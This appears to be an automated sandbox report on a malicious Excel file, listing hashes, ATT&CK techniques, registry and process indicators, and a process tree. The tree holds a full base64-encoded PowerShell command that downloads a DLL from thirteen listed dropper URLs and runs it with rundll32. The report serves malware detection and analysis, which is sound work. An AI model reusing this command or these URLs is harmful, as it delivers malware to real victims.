7121511be098eeda9347b7abefe3a43cfe2db66cc90f9ec5dc9281f3bf16a7a2

General

Target

7121511be098eeda9347b7abefe3a43cfe2db66cc90f9ec5dc9281f3bf16a7a2.xls
Size

122KB
MD5

932af14bb09552210ed92129c2ef6168
SHA1

71fd6c19504d5e9f40fbca9d6eb40dd999f6e920
SHA256

7121511be098eeda9347b7abefe3a43cfe2db66cc90f9ec5dc9281f3bf16a7a2
SHA512

edf4be21e0e9cc09e74fd631f50009b432bb1a578f3cf478446d8b7c913ad39f7cff61d4f2008cf060c4856d4198200d36cf11aff732c4e956ffda9e939ac2b4
SSDEEP

3072:mOehv7q2Pjx45uoDGTj+5xtekEvi8/dgZBFoTLTmxW5WxVe+41WsdiXUchlL:behv7q2Pjx45uoDGTj+5xtFEvi8/dgZ3

Score

10^/10

discovery

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://midnightsilvercrafters.com/store/wBjNOUw/

exe.dropper

http://tempral.com/NATE_05_22_2009/BI710N4cQ6R3/

exe.dropper

https://redington.karmatechmediaworks.com/wp-content/3JVuVx7QUM/

exe.dropper

https://uhc.karmatechmediaworks.com/wp-content/0EqfdeznntlOpaIP2Qv/

exe.dropper

https://servilogic.net/b/14hqrdyP0Z3WsbQib8/

exe.dropper

https://comezmuhendislik.com/ljfrmm/VTpHRFWoORAHnRQ3aQL/

exe.dropper

http://webmail.glemedical.com/wp-content/J1M2xxodH/

exe.dropper

http://toto.karmatechmediaworks.com/wp-content/i826vbcVgRJ/

exe.dropper

https://golfpia.karmatechmediaworks.com/wp-content/oEicpDnEkk/

exe.dropper

https://fortiuspharma.com/y6krss/EGm347cqj5/

exe.dropper

https://garyjharris.com/cgi-bin/0hH/

exe.dropper

https://vietnam.karmatechmediaworks.com/wp-content/PfSVQagusZy7AaMw/

exe.dropper

https://vinculinc.karmatechmediaworks.com/wp-content/VlcOPPwgidWlXDJNs6/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4448	1100	wscript.exe	81

Blocklisted process makes network request 5 IoCs

flow	pid	Process
23	4044	powershell.exe
27	4044	powershell.exe
32	4044	powershell.exe
36	4044	powershell.exe
42	4044	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1100	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4044	powershell.exe
4044	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4044	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
1100	EXCEL.EXE
1100	EXCEL.EXE
1100	EXCEL.EXE
1100	EXCEL.EXE
1100	EXCEL.EXE
1100	EXCEL.EXE
1100	EXCEL.EXE
1100	EXCEL.EXE
1100	EXCEL.EXE
1100	EXCEL.EXE
1100	EXCEL.EXE
1100	EXCEL.EXE
1100	EXCEL.EXE
1100	EXCEL.EXE

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1100 wrote to memory of 4448	1100	EXCEL.EXE	85
PID 1100 wrote to memory of 4448	1100	EXCEL.EXE	85
PID 4448 wrote to memory of 316	4448	wscript.exe	87
PID 4448 wrote to memory of 316	4448	wscript.exe	87
PID 316 wrote to memory of 4044	316	cmd.exe	89
PID 316 wrote to memory of 4044	316	cmd.exe	89
PID 4448 wrote to memory of 2220	4448	wscript.exe	94
PID 4448 wrote to memory of 2220	4448	wscript.exe	94
PID 2220 wrote to memory of 3296	2220	cmd.exe	96
PID 2220 wrote to memory of 3296	2220	cmd.exe	96
PID 2220 wrote to memory of 3296	2220	cmd.exe	96

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\7121511be098eeda9347b7abefe3a43cfe2db66cc90f9ec5dc9281f3bf16a7a2.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1100
- C:\Windows\SYSTEM32\wscript.exe
  wscript c:\programdata\oue4hjld.vbs
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\programdata\bhnasleil.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:316
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwADoALwAvAG0AaQBkAG4AaQBnAGgAdABzAGkAbAB2AGUAcgBjAHIAYQBmAHQAZQByAHMALgBjAG8AbQAvAHMAdABvAHIAZQAvAHcAQgBqAE4ATwBVAHcALwAsAGgAdAB0AHAAOgAvAC8AdABlAG0AcAByAGEAbAAuAGMAbwBtAC8ATgBBAFQARQBfADAANQBfADIAMgBfADIAMAAwADkALwBCAEkANwAxADAATgA0AGMAUQA2AFIAMwAvACwAaAB0AHQAcABzADoALwAvAHIAZQBkAGkAbgBnAHQAbwBuAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADMASgBWAHUAVgB4ADcAUQBVAE0ALwAsAGgAdAB0AHAAcwA6AC8ALwB1AGgAYwAuAGsAYQByAG0AYQB0AGUAYwBoAG0AZQBkAGkAYQB3AG8AcgBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwAwAEUAcQBmAGQAZQB6AG4AbgB0AGwATwBwAGEASQBQADIAUQB2AC8ALABoAHQAdABwAHMAOgAvAC8AcwBlAHIAdgBpAGwAbwBnAGkAYwAuAG4AZQB0AC8AYgAvADEANABoAHEAcgBkAHkAUAAwAFoAMwBXAHMAYgBRAGkAYgA4AC8ALABoAHQAdABwAHMAOgAvAC8AYwBvAG0AZQB6AG0AdQBoAGUAbgBkAGkAcwBsAGkAawAuAGMAbwBtAC8AbABqAGYAcgBtAG0ALwBWAFQAcABIAFIARgBXAG8ATwBSAEEASABuAFIAUQAzAGEAUQBMAC8ALABoAHQAdABwADoALwAvAHcAZQBiAG0AYQBpAGwALgBnAGwAZQBtAGUAZABpAGMAYQBsAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ASgAxAE0AMgB4AHgAbwBkAEgALwAsAGgAdAB0AHAAOgAvAC8AdABvAHQAbwAuAGsAYQByAG0AYQB0AGUAYwBoAG0AZQBkAGkAYQB3AG8AcgBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBpADgAMgA2AHYAYgBjAFYAZwBSAEoALwAsAGgAdAB0AHAAcwA6AC8ALwBnAG8AbABmAHAAaQBhAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAG8ARQBpAGMAcABEAG4ARQBrAGsALwAsAGgAdAB0AHAAcwA6AC8ALwBmAG8AcgB0AGkAdQBzAHAAaABhAHIAbQBhAC4AYwBvAG0ALwB5ADYAawByAHMAcwAvAEUARwBtADMANAA3AGMAcQBqADUALwAsAGgAdAB0AHAAcwA6AC8ALwBnAGEAcgB5AGoAaABhAHIAcgBpAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwAwAGgASAAvACwAaAB0AHQAcABzADoALwAvAHYAaQBlAHQAbgBhAG0ALgBrAGEAcgBtAGEAdABlAGMAaABtAGUAZABpAGEAdwBvAHIAawBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUABmAFMAVgBRAGEAZwB1AHMAWgB5ADcAQQBhAE0AdwAvACwAaAB0AHQAcABzADoALwAvAHYAaQBuAGMAdQBsAGkAbgBjAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFYAbABjAE8AUABQAHcAZwBpAGQAVwBsAFgARABKAE4AcwA2AC8AIgAuAHMAUABMAEkAdAAoACIALAAiACkAOwAgAGYAbwBSAGUAQQBDAGgAKAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAGkATgAgACQATQBKAFgAZABmAHMAaABEAHIAZgBHAFoAcwBlAHMANAApAHsAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkAD0AKAAiAGMAaQB1AHcAZAA6AGkAdQB3AGQAXABwAHIAaQB1AHcAZABvAGcAaQB1AHcAZAByAGEAbQBpAHUAdwBkAGQAYQB0AGkAdQB3AGQAYQBcAHYAeABjAGoAawBmAGgAZAAuAGQAaQB1AHcAZABsAGkAdQB3AGQAbAAiACkALgByAGUAUABsAEEAQwBlACgAIgBpAHUAdwBkACIALAAiACIAKQA7AGkAbgBWAE8AawBlAC0AdwBlAEIAcgBFAHEAVQBlAHMAVAAgAC0AdQBSAEkAIAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAC0AbwBVAHQARgBJAGwAZQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAA7AGkARgAoAHQAZQBTAHQALQBwAEEAVABoACAAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkACkAewBpAGYAKAAoAGcARQB0AC0AaQB0AEUAbQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAApAC4AbABlAE4ARwB0AGgAIAAtAGcAZQAgADQANwA0ADMANgApAHsAYgBSAGUAYQBrADsAfQB9AH0A
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4044
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vxcjkfhd.dll,ganw4ls
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2220
  - - \??\c:\windows\syswow64\rundll32.exe
      c:\windows\syswow64\rundll32.exe c:\programdata\vxcjkfhd.dll,ganw4ls
      4⤵
      System Location Discovery: System Language Discovery
      PID:3296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ymicj3gf.y01.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
c8507b1912206778fd1e1d0c36fea6d2

SHA1
8816e9ccee0817474793bbf6637339fd2cc172be

SHA256
4ecdcca01b84ed97a57ca3580fe8547a652ff42264343954888bdb722fe6943b

SHA512
771e3f62b7e6a420c7e1e1a2eb33209053bf58cab8791d8e8b51f0f7d02d4c486d9f805034a0e453739bda4e203f85c7ba286499e17252d7b1230c61f262a22b

Download Submit
C:\programdata\bhnasleil.bat

Filesize
3KB

MD5
0f96848827a2960f874bcf613ce1e72c

SHA1
d936a765910adaf627fc6459716847fd87595ea2

SHA256
9e9915a1e009b7a9283629e5a1a66604915030b445c1f266914955299563473e

SHA512
00f04d42d544c0564ca4d435fbc0803ebcd8eabaa45abc852b449beffb4f3701681b8c908f580640e71686255c83aa698f10ea75a51dd0bf76c177132e86b862

Download Submit
\??\c:\programdata\oue4hjld.vbs

Filesize
604B

MD5
a0e5c8b0ad3da42bf6952871a41bf5e8

SHA1
cd2106ebaf43d596057457e87cf4c8482e246005

SHA256
5c3d66e2d33dfb51c691010af5d0a87250aa475235b537a336c607ade93a881a

SHA512
c685cc80c128087b6711ab65c7a0f2c63f55dfbab8577aea20d668112f77a0e69e7e350ff314201e93b8ef79f72764c79fc20e903c1a1f973e37ae3a873ff725

Download Submit
memory/1100-6-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/1100-23-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/1100-8-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/1100-10-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/1100-7-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/1100-2-0x00007FFBD4C90000-0x00007FFBD4CA0000-memory.dmp

Filesize
64KB

Download
memory/1100-11-0x00007FFBD2A90000-0x00007FFBD2AA0000-memory.dmp

Filesize
64KB

Download
memory/1100-0-0x00007FFBD4C90000-0x00007FFBD4CA0000-memory.dmp

Filesize
64KB

Download
memory/1100-12-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/1100-15-0x00007FFBD2A90000-0x00007FFBD2AA0000-memory.dmp

Filesize
64KB

Download
memory/1100-16-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/1100-17-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/1100-14-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/1100-13-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/1100-20-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/1100-19-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/1100-18-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/1100-9-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/1100-22-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/1100-21-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/1100-26-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/1100-53-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/1100-141-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/1100-5-0x00007FFBD4C90000-0x00007FFBD4CA0000-memory.dmp

Filesize
64KB

Download
memory/1100-1-0x00007FFBD4C90000-0x00007FFBD4CA0000-memory.dmp

Filesize
64KB

Download
memory/1100-3-0x00007FFC14CAD000-0x00007FFC14CAE000-memory.dmp

Filesize
4KB

Download
memory/1100-4-0x00007FFBD4C90000-0x00007FFBD4CA0000-memory.dmp

Filesize
64KB

Download
memory/1100-189-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/1100-183-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/1100-187-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/1100-188-0x00007FFC14C10000-0x00007FFC14E05000-memory.dmp

Filesize
2.0MB

Download
memory/4044-181-0x0000020FDB460000-0x0000020FDBC06000-memory.dmp

Filesize
7.6MB

Download
memory/4044-171-0x0000020FC2580000-0x0000020FC25A2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads